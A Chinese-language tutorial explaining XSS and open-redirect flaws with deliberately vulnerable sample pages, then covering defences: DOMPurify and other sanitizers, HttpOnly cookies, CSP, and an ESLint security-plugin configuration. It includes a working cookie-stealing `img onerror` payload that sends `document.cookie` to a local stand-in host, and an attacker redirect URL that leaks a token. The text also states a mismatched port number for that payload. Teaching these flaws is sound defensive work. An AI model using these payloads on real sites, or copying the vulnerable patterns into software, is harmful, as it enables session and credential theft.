1、什么是XSS
XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者想办法将恶意脚本注入到网页中,用户在访问被攻击的网页时,就可能触发恶意脚本,最终导致网站下的Cookie、用户页面内容、表单数据等被窃取
XSS攻击能成功的决定性因素在于:被攻击的网站中,会不会将未经过检测的内容,直接在页面中渲染。
案例一
比如下面的代码就存在着 XSS 安全漏洞,页面中直接获取了链接参数并通过 innerHTML 插入
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>Hello <span id="name"></span></h1>
<script>
const params = new URLSearchParams(window.location.search);
const user = params.get("name");
if (user) {
document.getElementById("name").innerHTML = user;
}
</script>
</body>
</html>
假设你的站点地址为:http://127.0.0.1:5500/test.html
当攻击者组装了这样一个链接:
http://127.0.0.1:5500/test.html?name=%3Cimg%20src=x%20onerror=alert(%27hello!%27)%3E
连接参数name的值(img标签)被直接插入页面中,由于img标签src为空,onerror事件中的 alert 就会被执行
基于真实的攻击行为,组装的链接可能是:
其中 name 后面的未编码内容为:
<img src=x onerror="new Image().src='http://127.0.0.1:8000/steal?c='+encodeURIComponent(document.cookie)">
只要网站渲染了这段代码,img 被渲染就会触发 onerror 事件,并访问攻击者准备好的攻击链接(8080 端口),在没有防护的状态下,用户的 Cookie 就会被泄露,里面可能存在用户 Token 等重要数据
案例二
下面的代码中,返回按钮点击时,跳转到链接参数 redirect 对应的网址,并传递了token(也有可能时其他重要信息)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div>
<h1>登錄成功</h1>
<button onclick="back">返回</button>
</div>
<script>
function back() {
const params = new URLSearchParams(window.location.search);
const redirect = params.get("redirect");
if (redirect) {
window.location.href = `${redirect}?token=123`;
} else {
window.location.href = '/';
}
}
</script>
</body>
</html>
比如登录之后需要跳转绑定页面,路径可能为:
http://127.0.0.1:5500/test.html?redirect=/user/bind
这是比较常见的案例,却存在巨大的安全漏洞,只要攻击者将自己的域名拼接到redirect中,给用户访问,登录成功后,重定向携带的参数就会被传递到攻击者的站点:
http://127.0.0.1:5500/test.html?redirect=http://127.0.0.1:8080/
2、XSS攻击类型
XSS攻击类型可以简单以下三种类型:
- 存储型XSS
恶意代码被存储到后端数据库中,当网页渲染了数据库中的恶意代码,所有访问该网页的用户都会受到攻击。
恶意代码一般通过用户评论、用户内容发布、用户表单收集、用户私信等渠道,在后端入库未做校验时植入数据库,同时在渲染网页时也未对动态数据做处理,最终导致漏洞的产生
- 反射型XSS / DOM型XSS
反射型和DOM型的原理是一样的:站点从URL中获取参数,未经过校验和处理,直接渲染到页面中,导致恶意代码被执行
两者的区别在于渲染恶意代码发生在哪一阶段:反射型XSS是指混编的页面中,由后端程序获取链接内容进行渲染:
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的关键词是:<%= getParameter("keyword") %>
</div>
DOM型XSS则是由前端JavaScript代码获取链接内容,并插入到DOM中:
<body>
<h1>Hello <span id="name"></span></h1>
<script>
const params = new URLSearchParams(window.location.search);
const user = params.get("name");
if (user) {
document.getElementById("name").innerHTML = user;
}
</script>
</body>
3、防护措施
XSS 攻击能成功的关键在于:站点直接渲染了不能完全信任的内容。针对这一核心因素,我们可以在多个维度对不信任的内容进行拦截
入库处理
针对用户提交的内容,一律视为不安全的,在后端入库前应该做好恶意代码检测,并剔除恶意代码后再入库,最简单的是将内容进行HTML字符转义,这样可以让用户提交的HTML代码直接转为字符,比如:<script> 转义后为 <script> ,直接破坏了恶意代码

但直接通过字符转义有它的局限性,它有可能对用户的正常输入造成困扰,比如用户发布评论:爱情>物质,本意是表达爱情比物质更重要,但经过字符转义后,变为了爱情>物质,这就影响了用户的正常表达,而且字符转义不能用在用户发布的富文本内容。
更优解是通过目前已有的开源库,去检查可能存在XSS攻击的内容,比如前端生态中有 dompurify 库可以用于净化 HTML、规避 XSS 攻击,dompurify可以结合其他库在 Node 服务端中应用,类似的在 php 中有 htmlpurifier,在 Java 中有 OWASP Java HTML Sanitizer,在 GO 中用 bluemonday,所有主流的服务端编程语言,都有对应的库进行处理
前端渲染
XSS 攻击的核心还是在有没有渲染恶意代码,所以在网站页面渲染前,对不信任的内容必须进行净化处理,无论是后端混编渲染的页面,还是前端通过 JS 插入到 HTML 的内容,都要进行处理
在前端项目中,可以使用 dompurify 净化 HTML 内容,防止 XSS 攻击,dompurify 的用法很简单,通过 npm 安装或直接通过 script 引入dompurify库:
pnpm add dompurify
<script type="text/javascript" src="dist/purify.min.js"></script>
在渲染代码前,进行内容净化:
import DOMPurify from 'dompurify'; // 如果是通过 npm 安装
const clean = DOMPurify.sanitize('<b>hello there</b>'); // clean 用于渲染
但需要注意的是,dompurify并不天然支持服务端渲染,如果要在Node 服务或SSR项目中使用,还要结合 jsdom 等库来兼容:
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize('<b>hello there</b>');
或者用别人已经做好兼容处理的库:isomorphic-dompurify
其他措施
- HTTP-only Cookie XSS 攻击通常会尝试获取你本地浏览器中的 Cookie,很多站点的登录凭证都存放在 Cookie 中,因此XSS 攻击获取到用户 Cookie 会就可以模拟用户的登录,进行一些危险操作
在此背景下,给重要的 Cookie 设置 HttpOnly 属性,可以阻止 javascript 代码获取、操作该 Cookie,以此避免泄露
除了 HttpOnly,还有其他 Cookie 防护的方法吗,可以参考:Security 安全性
CSP 技术是指通过控制文档可以加载哪些资源文件,从而降低网站被攻击风险,通常只允许插入与站点同源的文件,避免恶意插入的 Script 文件被加载和执行
4、漏洞检测
AI Skill检测
在Cursor、CodeX等AI工具中,可以通过安装专业的 skill 来检测代码安全漏洞,目前用的比较多的 skill 是来自 agentic-awesome-skills 仓库中的 frontend-security-coder。
agentic-awesome-skills 可通过扫描分析你的项目,并从仓库中的数千个技能中,为你挑选推荐最适合你的项目安装的skill,其中仓库中的技能大多来自官方(如 Anthropic、OpenAI、Microsoft、Google Gemini)技能,技能规模庞大且质量可控,将开发者被动的搜寻技能进行安装使用这一糟心流程(搜索、考虑匹配程度、检验可信度等),交给 AI Agent执行
安装Skill:
npx skills add https://github.com/sickn33/antigravity-awesome-skills --skill frontend-security-coder
使用和效果:

ESLint 校验
ESLint可以校验代码的格式和代码质量,但是对于XSS等安全漏洞默认并不会校验,比如:
const query = req.query.script;
eval(query);
这段代码使用 eval 执行直接参数中的内容,是非常明显的XSS攻击,但在ESLint中并不会产生任何的警告,因为ESLint默认只检查代码的有效语法和格式。
我们可以通过ESLint的额外插件和配置,开启代码中安全漏洞的检测:
| 插件 | 用途 |
|---|---|
| + eslint-plugin-security | Node/通用漏洞,比如eval、正则、require引入、弱随机等问题 |
| + eslint-plugin-no-unsanitized | DOM XSS攻击检测,比如innerHTML、outerHTML、insertAdjacentHTML、document.write |
| + vue/no-v-html | vue中的v-html渲染检测 |
安装
pnpm add eslint-plugin-security eslint-plugin-no-unsanitized eslint-plugin-vue vue-eslint-parser -D
配置
(AI生成),在 eslint.config.ts 引入 eslint.security.config.ts 配置:
import type { Linter } from 'eslint'
import pluginNoUnsanitized from 'eslint-plugin-no-unsanitized'
import pluginSecurity from 'eslint-plugin-security'
import pluginVue from 'eslint-plugin-vue'
import tseslint from 'typescript-eslint'
import vueParser from 'vue-eslint-parser'
const SOURCE_FILES = ['**/*.{js,cjs,mjs,jsx,ts,cts,mts,tsx,vue}']
/** 認可的 HTML 轉義 / 淨化函數;預設只認 Mozilla Sanitizer.escapeHTML */
const unsanitizedEscape = {
escape: {
taggedTemplates: ['Sanitizer.escapeHTML', 'escapeHTML'],
methods: [
'Sanitizer.unwrapSafeHTML',
'unwrapSafeHTML',
'DOMPurify.sanitize',
],
},
} as const
/**
* 安全相關規則(不含風格規則)。
* eslint.config.ts 複用此陣列,避免兩處規則配置產生分歧。
*
* - eslint-plugin-security:eval / 動態正則 / fs / require 等
* - eslint-plugin-no-unsanitized:innerHTML、document.write 等 DOM XSS sink
* - vue/no-v-html:模板中的 v-html
*/
export const security: Linter.Config[] = [
{
...pluginSecurity.configs.recommended,
name: 'security/recommended',
files: SOURCE_FILES,
},
{
...pluginNoUnsanitized.configs.recommended,
name: 'security/no-unsanitized',
files: SOURCE_FILES,
},
{
name: 'security/overrides',
files: SOURCE_FILES,
rules: {
// Vue/TS 中大量合法的動態屬性訪問(obj[key]),誤報極高,不適合作為常規門檻
'security/detect-object-injection': 'off',
// 與 security/* 一致用 warn,避免現有 innerHTML 直接讓日常 eslint / 提交失敗
'no-unsanitized/property': ['warn', unsanitizedEscape],
'no-unsanitized/method': ['warn', unsanitizedEscape],
},
},
{
// 必須只作用於 .vue:vue 插件僅在 .vue 的配置塊註冊,
// 若擴到 .ts 會報 "could not find plugin vue"
name: 'security/vue',
files: ['**/*.vue'],
rules: {
'vue/no-v-html': 'warn',
},
},
]
/**
* 獨立配置:`pnpm lint:security` 使用,輸出只有 security/* 告警。
* 因為不經過 eslint.config.ts,需自行提供 TS / Vue 的解析器。
*
* 該腳本以 --no-inline-config 運行:源碼中的 eslint-disable 註釋大多指向
* 本配置未載入的規則(vue/*、regexp/* 等),否則會報 "Definition for rule
* was not found"。要抑制 security 誤報,請在下方按目錄配置,而非用註釋。
*/
export default [
{
name: 'security/ignores',
ignores: [
'**/.nuxt/**',
'**/.output/**',
'**/.nitro/**',
'**/dist/**',
'**/assets/iconfont/**',
'.cursor/**',
'.agents/**',
],
},
{
name: 'security/ts-parser',
files: ['**/*.{ts,cts,mts,tsx}'],
languageOptions: {
parser: tseslint.parser,
},
},
{
name: 'security/vue-parser',
files: ['**/*.vue'],
plugins: {
vue: pluginVue,
},
processor: pluginVue.processors.vue,
languageOptions: {
parser: vueParser,
parserOptions: {
parser: tseslint.parser,
extraFileExtensions: ['.vue'],
},
},
},
...security,
] satisfies Linter.Config[]
使用
配置 lint:security 指令,只输出当前问题,不进行自动 fix,运行这个指令即可在控制台中看到所有的问题。
{
//...
"scripts": {
//...
"lint:security": "eslint --config eslint.security.config.ts --no-config-lookup --no-inline-config --no-fix --cache --cache-location node_modules/.cache/eslint-security .",
}
}
拆解指令的每一个参数,其含义为:
| 指令内容 | 作用 |
|---|---|
| eslint | 启动eslint检测 |
| --config eslint.security.config.ts | 指定 ESLint 检测的配置文件,eslint.security.config.ts 如上,只注册了 上面三个插件 |
| --no-config-lookup | 禁止向上查找其他ESLint配置,避免触发代码风格的规则校验,保证只输出安全漏洞的校验 |
| --no-inline-config | |
| --no-fix | 只报告,不改动任何文件,安全规则大部分无法自动修复,对应 --fix 指令可能改动到业务逻辑 |
| --cache | 校验结果写入缓存,下次校验时跳过未改动到文件 |
| --cache-location node_modules/.cache/eslint-security | 设置缓存的目录,和常规eslint缓存分开,主脚本的缓存在 node_modules/.cache/eslint 中,避免和常规校验缓存冲突 |
| . | 扫描当前目录下配置允许的文件(ignores设置忽略校验的目录) |